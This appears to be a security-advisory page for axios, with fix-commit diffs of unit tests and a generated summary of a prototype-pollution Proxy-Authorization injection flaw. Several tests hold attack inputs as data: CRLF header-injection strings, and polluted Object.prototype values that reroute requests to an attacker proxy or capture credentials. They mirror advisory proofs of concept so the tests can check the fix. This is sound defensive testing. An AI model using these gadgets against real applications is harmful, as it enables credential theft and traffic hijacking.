-5193,15 +5436,12 @@ describe('supports http with nodejs', () => { }); it('rejects non-string socketPath', async () => { - await assert.rejects( - axios.get('http://localhost/echo', { socketPath: 12345 }), - (err) => { - assert.ok(err instanceof AxiosError); - assert.strictEqual(err.code, AxiosError.ERR_BAD_OPTION_VALUE); - assert.match(err.message, /socketPath must be a string/); - return true; - } - ); + await assert.rejects(axios.get('http://localhost/echo', { socketPath: 12345 }), (err) => { + assert.ok(err instanceof AxiosError); + assert.strictEqual(err.code, AxiosError.ERR_BAD_OPTION_VALUE); + assert.match(err.message, /socketPath must be a string/); + return true; + }); }); it('empty allowedSocketPaths array blocks all socketPath values', async () => {
tests/unit/core/AxiosError.test.js+217 −0 modified@@ -1,6 +1,7 @@ import { describe, it, expect } from 'vitest'; import { isNativeError } from 'node:util/types'; import AxiosError from '../../../lib/core/AxiosError.js'; +import AxiosHeaders from '../../../lib/core/AxiosHeaders.js'; describe('core::AxiosError', () => { it('creates an error with message, config, code, request, response, stack and isAxiosError', () => { @@ -143,4 +144,220 @@ describe('core::AxiosError', () => { expect({ ...error }.message).toBe('Test error message'); expect(Object.getOwnPropertyDescriptor(error, 'message')?.enumerable).toBe(true); }); + + // Opt-in redaction: when `config.redact` is an array of key names, every + // matching key (case-insensitive, at any depth) has its value replaced with + // the redaction marker in the toJSON snapshot. Undefined leaves the legacy + // serialization untouched so existing consumers see no behavior change. + describe('toJSON redaction via config.redact', () => { + it('leaves config untouched when redact is undefined', () => { + const config = { + url: '/api', + auth: { username: 'alice', password: 'secret' }, + }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + + expect(json.config.auth.username).toBe('alice'); + expect(json.config.auth.password).toBe('secret'); + }); + + it('ignores inherited redact accessors', () => { + const prototype = {}; + Object.defineProperty(prototype, 'redact', { + get() { + throw new Error('inherited redact getter should not run'); + }, + }); + + const config = Object.create(prototype); + config.auth = { username: 'alice', password: 'secret' }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + + expect(json.config.auth.username).toBe('alice'); + expect(json.config.auth.password).toBe('secret'); + }); + + it('leaves config untouched when redact is an empty array', () => { + const config = { + auth: { username: 'alice', password: 'secret' }, + redact: [], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + expect(error.toJSON().config.auth.password).toBe('secret'); + }); + + it('replaces top-level matching keys with the redaction marker', () => { + const config = { + url: '/api', + auth: { username: 'alice', password: 'secret' }, + redact: ['auth'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + + expect(json.config.url).toBe('/api'); + expect(json.config.auth).toBe('[REDACTED ****]'); + }); + + it('replaces matching keys at any nesting depth', () => { + const config = { + auth: { username: 'alice', password: 'secret' }, + proxy: { auth: { username: 'pu', password: 'pp' } }, + redact: ['password'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + + expect(json.config.auth.username).toBe('alice'); + expect(json.config.auth.password).toBe('[REDACTED ****]'); + expect(json.config.proxy.auth.password).toBe('[REDACTED ****]'); + expect(json.config.proxy.auth.username).toBe('pu'); + }); + + it('matches case-insensitively', () => { + const config = { + headers: { Authorization: 'Bearer abc' }, + redact: ['authorization'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + expect(error.toJSON().config.headers.Authorization).toBe('[REDACTED ****]'); + }); + + it('redacts headers stored in an AxiosHeaders instance', () => { + const headers = new AxiosHeaders(); + headers.set('Authorization', 'Bearer abc'); + headers.set('X-Trace', 'trace-id'); + + const config = { headers, redact: ['Authorization'] }; + const error = new AxiosError('Boom', 'ECODE', config); + + const serialized = error.toJSON().config.headers; + expect(serialized.Authorization).toBe('[REDACTED ****]'); + expect(serialized['X-Trace']).toBe('trace-id'); + }); + + it('redacts inside arrays of objects', () => { + const config = { + items: [{ token: 't1' }, { token: 't2', name: 'keep' }], + redact: ['token'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + expect(json.config.items[0].token).toBe('[REDACTED ****]'); + expect(json.config.items[1].token).toBe('[REDACTED ****]'); + expect(json.config.items[1].name).toBe('keep'); + }); + + it('does not crash on circular config references', () => { + const config = { auth: { password: 'secret' }, redact: ['password'] }; + config.self = config; + + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + expect(json.config.auth.password).toBe('[REDACTED ****]'); + expect(Object.prototype.hasOwnProperty.call(json.config, 'self')).toBe(false); + }); + + it('preserves legacy toJSONObject handling for values with toJSON', () => { + const issuedAt = new Date('2026-01-01T00:00:00.000Z'); + const endpoint = new URL('https://example.com/users'); + const config = { + issuedAt, + endpoint, + auth: { password: 'secret' }, + redact: ['password'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + const json = error.toJSON(); + + expect(json.config.issuedAt).toBe(issuedAt); + expect(json.config.endpoint).toBe(endpoint); + expect(json.config.auth.password).toBe('[REDACTED ****]'); + }); + + it('does not let a polluted Object.prototype.toJSON bypass redaction', () => { + class Credentials { + constructor() { + this.password = 'secret'; + } + } + + Object.prototype.toJSON = function () { + return this; + }; + + const config = { + auth: { password: 'secret' }, + credentials: new Credentials(), + items: [{ token: 't1' }], + redact: ['password', 'token'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + try { + const json = error.toJSON(); + + expect(json.config.auth.password).toBe('[REDACTED ****]'); + expect(json.config.credentials.password).toBe('[REDACTED ****]'); + expect(json.config.items[0].token).toBe('[REDACTED ****]'); + } finally { + delete Object.prototype.toJSON; + } + }); + + it('copies __proto__ as data without changing the redaction output prototype', () => { + const config = { redact: ['password'] }; + Object.defineProperty(config, '__proto__', { + value: { password: 'secret' }, + enumerable: true, + configurable: true, + }); + + const error = new AxiosError('Boom', 'ECODE', config); + const json = error.toJSON(); + + expect(Object.getPrototypeOf(json.config)).toBe(null); + expect(Object.prototype.hasOwnProperty.call(json.config, '__proto__')).toBe(true); + expect(json.config.__proto__.password).toBe('[REDACTED ****]'); + }); + + it('does not mutate the original config or AxiosHeaders', () => { + const headers = new AxiosHeaders(); + headers.set('Authorization', 'Bearer abc'); + + const config = { + auth: { username: 'alice', password: 'secret' }, + headers, + redact: ['password', 'Authorization'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + error.toJSON(); + + expect(config.auth.password).toBe('secret'); + expect(headers.get('Authorization')).toBe('Bearer abc'); + }); + + it('keeps the redact array itself visible in the snapshot', () => { + const config = { + auth: { password: 'secret' }, + redact: ['password'], + }; + const error = new AxiosError('Boom', 'ECODE', config); + + // Useful for debugging — operators can see what was being redacted. + expect(error.toJSON().config.redact).toEqual(['password']); + }); + }); });
tests/unit/helpers/formDataToStream.test.js+56 −34 modified@@ -34,14 +34,17 @@ const collect = async (stream) => { return Buffer.concat(chunks).toString('utf8'); }; -describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { +describe('formDataToStream', () => { it('should strip CRLF sequences from blob.type to prevent multipart header injection', async () => { const fd = new SpecFormData(); - fd.append('photo', makeBlobLike({ - type: 'image/jpeg\r\nX-Injected-Header: PWNED\r\nX-Evil: bad', - name: 'photo.jpg', - payload: Buffer.from('PAYLOAD'), - })); + fd.append( + 'photo', + makeBlobLike({ + type: 'image/jpeg\r\nX-Injected-Header: PWNED\r\nX-Evil: bad', + name: 'photo.jpg', + payload: Buffer.from('PAYLOAD'), + }) + ); const body = await collect(formDataToStream(fd, () => {})); @@ -52,11 +55,14 @@ describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { it('should strip bare \\r and bare \\n from blob.type', async () => { const fd = new SpecFormData(); - fd.append('f', makeBlobLike({ - type: 'text/plain\rX-A: 1\nX-B: 2', - name: 'f.txt', - payload: Buffer.from('x'), - })); + fd.append( + 'f', + makeBlobLike({ + type: 'text/plain\rX-A: 1\nX-B: 2', + name: 'f.txt', + payload: Buffer.from('x'), + }) + ); const body = await collect(formDataToStream(fd, () => {})); @@ -66,11 +72,14 @@ describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { it('should preserve legitimate Content-Type values', async () => { const fd = new SpecFormData(); - fd.append('doc', makeBlobLike({ - type: 'application/json; charset=utf-8', - name: 'doc.json', - payload: Buffer.from('{}'), - })); + fd.append( + 'doc', + makeBlobLike({ + type: 'application/json; charset=utf-8', + name: 'doc.json', + payload: Buffer.from('{}'), + }) + ); const body = await collect(formDataToStream(fd, () => {})); @@ -79,11 +88,14 @@ describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { it('should default missing blob.type to application/octet-stream', async () => { const fd = new SpecFormData(); - fd.append('bin', makeBlobLike({ - type: '', - name: 'bin', - payload: Buffer.from([0x00, 0x01]), - })); + fd.append( + 'bin', + makeBlobLike({ + type: '', + name: 'bin', + payload: Buffer.from([0x00, 0x01]), + }) + ); const body = await collect(formDataToStream(fd, () => {})); @@ -92,11 +104,14 @@ describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { it('should escape CRLF and quotes in blob.name (Content-Disposition)', async () => { const fd = new SpecFormData(); - fd.append('up', makeBlobLike({ - type: 'text/plain', - name: 'evil\r\nX-Bad: 1".jpg', - payload: Buffer.from('x'), - })); + fd.append( + 'up', + makeBlobLike({ + type: 'text/plain', + name: 'evil\r\nX-Bad: 1".jpg', + payload: Buffer.from('x'), + }) + ); const body = await collect(formDataToStream(fd, () => {})); @@ -106,16 +121,23 @@ describe('formDataToStream (GHSA-445q-vr5w-6q77 CRLF injection)', () => { it('should report stable contentLength that matches emitted bytes', async () => { const fd = new SpecFormData(); - fd.append('photo', makeBlobLike({ - type: 'image/jpeg\r\nX-Injected: PWNED', - name: 'photo.jpg', - payload: Buffer.from('PAYLOAD'), - })); + fd.append( + 'photo', + makeBlobLike({ + type: 'image/jpeg\r\nX-Injected: PWNED', + name: 'photo.jpg', + payload: Buffer.from('PAYLOAD'), + }) + ); let reportedLength; - const stream = formDataToStream(fd, (h) => { - reportedLength = h['Content-Length']; - }, { boundary: 'test-boundary-abc' }); + const stream = formDataToStream( + fd, + (h) => { + reportedLength = h['Content-Length']; + }, + { boundary: 'test-boundary-abc' } + ); const body = await collect(stream);
tests/unit/helpers/shouldBypassProxy.test.js+95 −1 modified@@ -101,7 +101,7 @@ describe('helpers::shouldBypassProxy', () => { expect(shouldBypassProxy('not a url')).toBe(false); }); - it('should bypass proxy for 127.0.0.0/8 subnet when no_proxy contains 127.0.0.1 (GHSA-pmwg-cvhr-8vh7)', () => { + it('should bypass proxy for 127.0.0.0/8 subnet when no_proxy contains 127.0.0.1', () => { setNoProxy('localhost,127.0.0.1,::1'); expect(shouldBypassProxy('http://127.0.0.2:9191/secret')).toBe(true); @@ -166,4 +166,98 @@ describe('helpers::shouldBypassProxy', () => { expect(shouldBypassProxy('http://10.0.0.127:8080/')).toBe(false); expect(shouldBypassProxy('http://200.127.0.1:8080/')).toBe(false); }); + + // IPv4-mapped IPv6 normalization: an attacker (or naive caller) can use the + // IPv4-mapped IPv6 representation of an address (e.g. ::ffff:192.168.1.5) + // to dodge a NO_PROXY policy expressed in IPv4 form, or vice-versa. After + // canonicalising both sides, equivalent addresses compare equal. + describe('IPv4-mapped IPv6 normalization', () => { + it('should bypass via IPv4-mapped IPv6 request when NO_PROXY uses the IPv4 form', () => { + setNoProxy('192.168.1.5'); + + expect(shouldBypassProxy('http://[::ffff:192.168.1.5]/')).toBe(true); + }); + + it('should bypass via Node-normalised IPv4-mapped hex request against an IPv4 NO_PROXY', () => { + // Node's URL parser canonicalises [::ffff:192.168.1.5] → [::ffff:c0a8:105]. + // The hex form must unmap to 192.168.1.5 to match the entry. + setNoProxy('192.168.1.5'); + + expect(shouldBypassProxy('http://[::ffff:c0a8:105]/')).toBe(true); + }); + + it('should bypass via plain IPv4 request when NO_PROXY uses the IPv4-mapped IPv6 dotted form', () => { + setNoProxy('::ffff:192.168.1.5'); + + expect(shouldBypassProxy('http://192.168.1.5/')).toBe(true); + }); + + it('should bypass via plain IPv4 request when NO_PROXY uses the IPv4-mapped IPv6 hex form', () => { + setNoProxy('::ffff:a00:1'); + + expect(shouldBypassProxy('http://10.0.0.1/')).toBe(true); + }); + + it('should bypass via plain IPv4 request when NO_PROXY uses a bracketed IPv4-mapped IPv6 entry', () => { + setNoProxy('[::ffff:192.168.1.5]'); + + expect(shouldBypassProxy('http://192.168.1.5/')).toBe(true); + }); + + it('should treat the uncompressed 0:0:0:0:0:ffff:<v4> form as equivalent', () => { + setNoProxy('0:0:0:0:0:ffff:10.0.0.1'); + + expect(shouldBypassProxy('http://10.0.0.1/')).toBe(true); + expect(shouldBypassProxy('http://[::ffff:10.0.0.1]/')).toBe(true); + }); + + it('should treat compressed zero-prefix IPv4-mapped IPv6 dotted forms as equivalent', () => { + for (const entry of [ + '0::ffff:192.168.1.5', + '0:0::ffff:192.168.1.5', + '0:0:0::ffff:192.168.1.5', + '0:0:0:0::ffff:192.168.1.5', + ]) { + setNoProxy(entry); + + expect(shouldBypassProxy('http://192.168.1.5/')).toBe(true); + } + }); + + it('should treat compressed zero-prefix IPv4-mapped IPv6 hex forms as equivalent', () => { + for (const entry of [ + '0::ffff:c0a8:105', + '0:0::ffff:c0a8:105', + '0:0:0::ffff:c0a8:105', + '0:0:0:0::ffff:c0a8:105', + ]) { + setNoProxy(entry); + + expect(shouldBypassProxy('http://192.168.1.5/')).toBe(true); + } + }); + + it('should support compressed bracketed IPv4-mapped IPv6 entries with explicit ports', () => { + setNoProxy('[0:0::ffff:192.168.1.5]:8080'); + + expect(shouldBypassProxy('http://192.168.1.5:8080/')).toBe(true); + expect(shouldBypassProxy('http://192.168.1.5:9090/')).toBe(false); + }); + + it('should NOT cross-match unrelated addresses', () => { + setNoProxy('192.168.1.5'); + + // Different IPv4 address inside an IPv4-mapped form must not bypass. + expect(shouldBypassProxy('http://[::ffff:192.168.1.6]/')).toBe(false); + // Non-mapped IPv6 must not be treated as IPv4. + expect(shouldBypassProxy('http://[2001:db8::1]/')).toBe(false); + }); + + it('should leave non-mapped IPv6 addresses comparing as IPv6', () => { + setNoProxy('2001:db8::1'); + + expect(shouldBypassProxy('http://[2001:db8::1]/')).toBe(true); + expect(shouldBypassProxy('http://[2001:db8::2]/')).toBe(false); + }); + }); });
tests/unit/prototypePollution.test.js+322 −38 modified@@ -5,6 +5,8 @@ import http from 'http'; import utils from '../../lib/utils.js'; import mergeConfig from '../../lib/core/mergeConfig.js'; import defaults from '../../lib/defaults/index.js'; +import AxiosError from '../../lib/core/AxiosError.js'; +import AxiosHeaders from '../../lib/core/AxiosHeaders.js'; import axios from '../../index.js'; describe('Prototype Pollution Protection', () => { @@ -47,6 +49,16 @@ describe('Prototype Pollution Protection', () => { delete Object.prototype.withCredentials; delete Object.prototype.responseType; delete Object.prototype.fetchOptions; + delete Object.prototype.username; + delete Object.prototype.password; + delete Object.prototype.hostname; + delete Object.prototype.host; + delete Object.prototype.port; + delete Object.prototype.protocol; + delete Object.prototype.get; + delete Object.prototype.set; + delete Object.prototype.headers; + delete Object.prototype.customNested; }); describe('utils.merge', () => { @@ -247,7 +259,7 @@ describe('Prototype Pollution Protection', () => { assert.strictEqual(result.headers.common['Content-Type'], 'application/json'); }); - // GHSA-pf86-5x62-jrwf gadget 3: polluted transformRequest/Response must not + // Polluted transformRequest/Response must not // replace the safe defaults through inherited reads during merge. it('should not inherit polluted transformRequest from Object.prototype', () => { const polluted = () => 'attacker'; @@ -270,7 +282,7 @@ describe('Prototype Pollution Protection', () => { }); }); - // GHSA-pf86-5x62-jrwf gadget 1: parseReviver read via prototype chain. + // parseReviver read via prototype chain. describe('defaults.transformResponse parseReviver', () => { it('should ignore Object.prototype.parseReviver when parsing JSON', () => { let reviverCalled = false; @@ -281,10 +293,7 @@ describe('Prototype Pollution Protection', () => { }; const ctx = { transitional: defaults.transitional }; - const result = defaults.transformResponse[0].call( - ctx, - '{"role":"user","balance":100}' - ); + const result = defaults.transformResponse[0].call(ctx, '{"role":"user","balance":100}'); assert.strictEqual(reviverCalled, false); assert.strictEqual(result.role, 'user'); @@ -302,9 +311,9 @@ describe('Prototype Pollution Protection', () => { }); }); - // GHSA-w9j2-pvgh-6h63: mergeDirectKeys must not inherit validateStatus from + // mergeDirectKeys must not inherit validateStatus from // Object.prototype (was using the `in` operator which traverses the chain). - describe('GHSA-w9j2-pvgh-6h63 validateStatus merge', () => { + describe('validateStatus merge', () => { it('should not inherit a polluted validateStatus during mergeConfig', () => { Object.prototype.validateStatus = () => true; @@ -339,9 +348,9 @@ describe('Prototype Pollution Protection', () => { }, 10000); }); - // GHSA-3w6x-2g7m-8v23: end-to-end check that a polluted parseReviver does not + // end-to-end check that a polluted parseReviver does not // tamper with JSON response bodies through the full axios.get pipeline. - describe('GHSA-3w6x-2g7m-8v23 parseReviver end-to-end', () => { + describe('parseReviver end-to-end', () => { it('should not let Object.prototype.parseReviver tamper with JSON responses', async () => { let reviverCalled = false; const stolen = {}; @@ -382,7 +391,7 @@ describe('Prototype Pollution Protection', () => { }, 10000); }); - // GHSA-pf86-5x62-jrwf gadget 2: http adapter must not read config.transport + // http adapter must not read config.transport // (or related keys) from Object.prototype. describe('http adapter prototype reads', () => { it('should not invoke Object.prototype.transport on a request', async () => { @@ -412,17 +421,20 @@ describe('Prototype Pollution Protection', () => { }, 10000); }); - // GHSA-q8qp-cvcw-x6jj: five config properties were read via direct property + // Five config properties were read via direct property // access in the http adapter and resolveConfig, bypassing hasOwnProperty and // allowing prototype pollution gadgets (auth, baseURL, socketPath, // beforeRedirect, insecureHTTPParser). - describe('GHSA-q8qp-cvcw-x6jj http adapter gadgets', () => { + describe('http adapter gadgets', () => { function startServer(handler) { return new Promise((resolve) => { - const server = http.createServer(handler || ((req, res) => { - res.writeHead(200, { 'Content-Type': 'application/json' }); - res.end(JSON.stringify({ headers: req.headers, url: req.url })); - })); + const server = http.createServer( + handler || + ((req, res) => { + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end(JSON.stringify({ headers: req.headers, url: req.url })); + }) + ); server.listen(0, '127.0.0.1', () => resolve(server)); }); } @@ -531,18 +543,72 @@ describe('Prototype Pollution Protection', () => { // HPE_CR_EXPECTED). Match any parser error to remain stable across // Node releases while still confirming the strict parser rejected // the payload. - assert.match( - caughtCode, - /^HPE_/, - `expected an HPE_* parser error, got: ${caughtCode}` - ); + assert.match(caughtCode, /^HPE_/, `expected an HPE_* parser error, got: ${caughtCode}`); } finally { await new Promise((resolve) => malformed.close(resolve)); } }, 10000); + + it('should not inject Proxy-Authorization from polluted Object.prototype.auth', async () => { + // setProxy reads `proxy.auth` directly. When `proxy` is a + // URL instance from the environment proxy or a plain object without an own `auth`, + // a polluted Object.prototype.auth would otherwise be base64-encoded into the + // Proxy-Authorization header, leaking attacker-controlled credentials. + Object.prototype.auth = { username: 'attacker', password: 'exfil' }; + + const proxy = await startServer(); + const { port: proxyPort } = proxy.address(); + + const target = await startServer(); + const { port: targetPort } = target.address(); + + try { + const res = await axios.get(`http://127.0.0.1:${targetPort}/api`, { + proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' }, + }); + assert.strictEqual(res.status, 200); + assert.strictEqual( + res.data.headers['proxy-authorization'], + undefined, + 'polluted Object.prototype.auth must not produce a Proxy-Authorization header' + ); + } finally { + await stopServer(target); + await stopServer(proxy); + } + }, 10000); + + it('should not inject Proxy-Authorization from polluted Object.prototype.username', async () => { + // The setProxy username/password branch builds basic creds from `proxy.username` + // and `proxy.password`. For a plain object proxy, both reads must be guarded + // against prototype pollution. + Object.prototype.username = 'attacker'; + Object.prototype.password = 'exfil'; + + const proxy = await startServer(); + const { port: proxyPort } = proxy.address(); + + const target = await startServer(); + const { port: targetPort } = target.address(); + + try { + const res = await axios.get(`http://127.0.0.1:${targetPort}/api`, { + proxy: { host: '127.0.0.1', port: proxyPort, protocol: 'http' }, + }); + assert.strictEqual(res.status, 200); + assert.strictEqual( + res.data.headers['proxy-authorization'], + undefined, + 'polluted Object.prototype.username must not produce a Proxy-Authorization header' + ); + } finally { + await stopServer(target); + await stopServer(proxy); + } + }, 10000); }); - describe('GHSA-q8qp-cvcw-x6jj resolveConfig baseURL gadget', () => { + describe('resolveConfig baseURL gadget', () => { // The baseURL branch in buildFullPath only runs when the requested URL is // relative (or allowAbsoluteUrls === false). An absolute URL would skip // baseURL regardless of pollution and would not exercise the gadget. We @@ -658,24 +724,29 @@ describe('Prototype Pollution Protection', () => { }); }); - // Verify every gadget enumerated in the audit (extension of GHSA-q8qp-cvcw-x6jj) + // Verify every gadget enumerated in the audit // is neutralized end-to-end by the null-prototype config. describe('Full gadget coverage via null-prototype config', () => { function startEcho(handler) { return new Promise((resolve) => { - const server = http.createServer(handler || ((req, res) => { - let body = ''; - req.on('data', (c) => (body += c)); - req.on('end', () => { - res.writeHead(200, { 'Content-Type': 'application/json' }); - res.end(JSON.stringify({ - url: req.url, - method: req.method, - headers: req.headers, - body, - })); - }); - })); + const server = http.createServer( + handler || + ((req, res) => { + let body = ''; + req.on('data', (c) => (body += c)); + req.on('end', () => { + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end( + JSON.stringify({ + url: req.url, + method: req.method, + headers: req.headers, + body, + }) + ); + }); + }) + ); server.listen(0, '127.0.0.1', () => resolve(server)); }); } @@ -721,7 +792,14 @@ describe('Prototype Pollution Protection', () => { let hijacked = false; Object.prototype.adapter = function pollutedAdapter() { hijacked = true; - return Promise.resolve({ data: 'pwned', status: 200, statusText: 'OK', headers: {}, config: {}, request: {} }); + return Promise.resolve({ + data: 'pwned', + status: 200, + statusText: 'OK', + headers: {}, + config: {}, + request: {}, + }); }; const server = await startEcho(); @@ -896,4 +974,210 @@ describe('Prototype Pollution Protection', () => { } }, 10000); }); + + // utils.merge previously read `result[targetKey]` directly, which walks the + // prototype chain. A polluted Object.prototype.<key> object would surface as + // the existing value and be merged into the result. + describe('utils.merge prototype-chain read', () => { + it('should not pick up polluted Object.prototype.<key> as the existing value', () => { + Object.prototype.headers = { evil: 'yes' }; + + const result = utils.merge({}, { headers: { 'Content-Type': 'application/json' } }); + + assert.strictEqual(result.headers.evil, undefined); + assert.strictEqual(result.headers['Content-Type'], 'application/json'); + }); + + it('should not absorb polluted nested objects when the key is absent from inputs', () => { + // When the source does not carry `customNested`, the merged result should + // not surface it either, even if Object.prototype carries it. + Object.prototype.customNested = { evil: 'yes' }; + + const result = utils.merge({}, { safe: 'value' }); + + assert.strictEqual(result.hasOwnProperty('customNested'), false); + assert.strictEqual(result.safe, 'value'); + }); + }); + + // Object.defineProperty calls a HasProperty check on `get`/`set` of the + // descriptor. A polluted Object.prototype.get with a non-function value would + // throw TypeError at every defineProperty site that uses a plain literal + // descriptor. Each fixed site should be shielded with `__proto__: null`. + describe('Object.defineProperty descriptor literals', () => { + it('should construct AxiosError when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + const err = new AxiosError('hello', 'ECODE'); + + assert.strictEqual(err.message, 'hello'); + assert.strictEqual(err.code, 'ECODE'); + }); + + it('should construct AxiosHeaders accessor methods when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + // AxiosHeaders.accessor uses Object.defineProperty on the prototype. + // Triggering a fresh accessor definition exercises the descriptor literal. + AxiosHeaders.accessor('X-Pp-Test'); + + const h = new AxiosHeaders(); + h.setXPpTest('value'); + assert.strictEqual(h.getXPpTest(), 'value'); + }); + + it('should not throw in mergeConfig when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + const result = mergeConfig({}, { url: '/x', method: 'get' }); + + assert.strictEqual(result.url, '/x'); + assert.strictEqual(result.method, 'get'); + assert.strictEqual(typeof result.hasOwnProperty, 'function'); + }); + + it('should not throw in utils.extend when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + const a = {}; + const b = { x: 1, fn() {} }; + utils.extend(a, b); + + assert.strictEqual(a.x, 1); + assert.strictEqual(typeof a.fn, 'function'); + }); + + it('should not throw in utils.extend with thisArg when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + const a = {}; + const ctx = { tag: 'ctx' }; + const b = { + method() { + return this.tag; + }, + }; + utils.extend(a, b, ctx); + + assert.strictEqual(a.method(), 'ctx'); + }); + + it('should not throw in utils.inherits when Object.prototype.get is polluted', () => { + Object.prototype.get = 'attacker'; + + function Parent() {} + function Child() {} + utils.inherits(Child, Parent); + + assert.strictEqual(Child.prototype.constructor, Child); + assert.strictEqual(Child.super, Parent.prototype); + }); + + it('should also be shielded against a polluted Object.prototype.set', () => { + Object.prototype.set = 'attacker'; + + // Same surface as `get` — ToPropertyDescriptor checks both. One spot-check + // covers them all since they share the same fix. + const err = new AxiosError('hello'); + assert.strictEqual(err.message, 'hello'); + }); + }); + + // End-to-end regressions covering published advisory PoCs against full axios + // request flow. Each test mirrors the exploit scenario from the advisory and + // asserts the attack does not succeed. + describe('advisory regression — full request flow', () => { + function startServer(handler) { + return new Promise((resolve) => { + const server = http.createServer(handler); + server.listen(0, '127.0.0.1', () => resolve(server)); + }); + } + const stop = (s) => new Promise((r) => s.close(r)); + + // Full MITM via prototype pollution gadget in + // `config.proxy`. mergeConfig must not surface a polluted Object.prototype.proxy + // as the merged config's proxy, otherwise every request would route through + // an attacker-controlled host. + it('polluted Object.prototype.proxy must not redirect requests through an attacker proxy', async () => { + const proxyHits = []; + const attackerProxy = await startServer((req, res) => { + proxyHits.push({ + url: req.url, + authorization: req.headers.authorization, + host: req.headers.host, + }); + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end('{"hijacked":true}'); + }); + + const realHits = []; + const realServer = await startServer((req, res) => { + realHits.push({ url: req.url }); + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end('{"data":"real"}'); + }); + + try { + Object.prototype.proxy = { + protocol: 'http', + host: '127.0.0.1', + port: attackerProxy.address().port, + }; + + const realPort = realServer.address().port; + const res = await axios.get(`http://127.0.0.1:${realPort}/api/secrets`, { + auth: { username: 'admin', password: 'SuperSecret123!' }, + }); + + assert.strictEqual(proxyHits.length, 0, 'attacker proxy must not receive any request'); + assert.strictEqual(realHits.length, 1, 'request must reach the real target'); + assert.deepStrictEqual(res.data, { data: 'real' }); + } finally { + await stop(attackerProxy); + await stop(realServer); + } + }, 10000); + + // Credential theft and response hijacking via + // prototype pollution gadget in config merge. A polluted + // Object.prototype.transformResponse function would otherwise execute with + // `this = config`, exposing `auth.username`/`auth.password` to the attacker. + it('polluted Object.prototype.transformResponse must not be invoked or leak request credentials', async () => { + let invoked = false; + let stolen = null; + Object.prototype.transformResponse = function pollutedTransform(data) { + invoked = true; + stolen = { + url: this && this.url, + username: this && this.auth && this.auth.username, + password: this && this.auth && this.auth.password, + data, + }; + return true; + }; + + const server = await startServer((req, res) => { + res.writeHead(200, { 'Content-Type': 'application/json' }); + res.end('{"secret":"keep-me"}'); + }); + + try { + const { port } = server.address(); + const res = await axios.get(`http://127.0.0.1:${port}/users`, { + auth: { username: 'svc-account', password: 'prod-secret-key-123!' }, + }); + + assert.strictEqual(invoked, false, 'polluted transformResponse must not run'); + assert.strictEqual(stolen, null, 'no request context must be captured'); + assert.deepStrictEqual( + res.data, + { secret: 'keep-me' }, + 'response data must reach the caller untampered' + ); + } finally { + await stop(server); + } + }, 10000); + }); });
Vulnerability mechanics
Root cause
"`utils.merge()` creates nested objects as plain `{}` with `Object.prototype` in their chain, and `setProxy()` reads `proxy.username`/`proxy.password`/`proxy.auth` without `hasOwnProperty` checks, allowing inherited prototype properties to be used for `Proxy-Authorization` header injection."
Attack vector
An attacker must first achieve prototype pollution in the application's dependency tree (e.g., via a vulnerable library) to set `Object.prototype.username` or `Object.prototype.password`. When the application then makes an Axios request with an explicit `config.proxy` object (a common corporate pattern), `utils.merge()` creates a plain `{}` for the nested proxy object that inherits the polluted properties. The `setProxy()` function reads these inherited properties without `hasOwnProperty` checks and constructs a `Proxy-Authorization: Basic ...` header, injecting attacker-controlled credentials into every proxied HTTP request [ref_id=1][ref_id=2].
Affected code
The vulnerability resides in `lib/adapters/http.js` in the `setProxy()` function (lines 209-223) and in `lib/utils.js` in the `merge()` function (line 406). `utils.merge()` creates nested objects as plain `{}` with `Object.prototype` in their prototype chain, and `setProxy()` reads `proxy.username`, `proxy.password`, and `proxy.auth` without `hasOwnProperty` checks, allowing inherited properties to be used.
What the fix does
The advisory recommends three fixes: (1) add `hasOwnProperty` checks in `setProxy()` before reading `proxy.username` and `proxy.auth` so inherited prototype properties are ignored; (2) change `utils.merge()` to use `Object.create(null)` instead of `{}` so nested objects also lack `Object.prototype`; (3) apply null-prototype to all objects created by `getMergedValue()`. The first fix prevents the injection at the read site, while the second and third address the root cause by ensuring nested objects cannot inherit polluted properties at all [ref_id=1][ref_id=2].
Preconditions
- inputA separate prototype pollution vulnerability must exist in the application's dependency tree to set `Object.prototype.username` or `Object.prototype.password`.
- configThe application must explicitly configure `config.proxy` (e.g., `{ host: 'proxy.corp', port: 8080 }`) on an Axios request.
Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
3News mentions
0No linked articles in our index yet.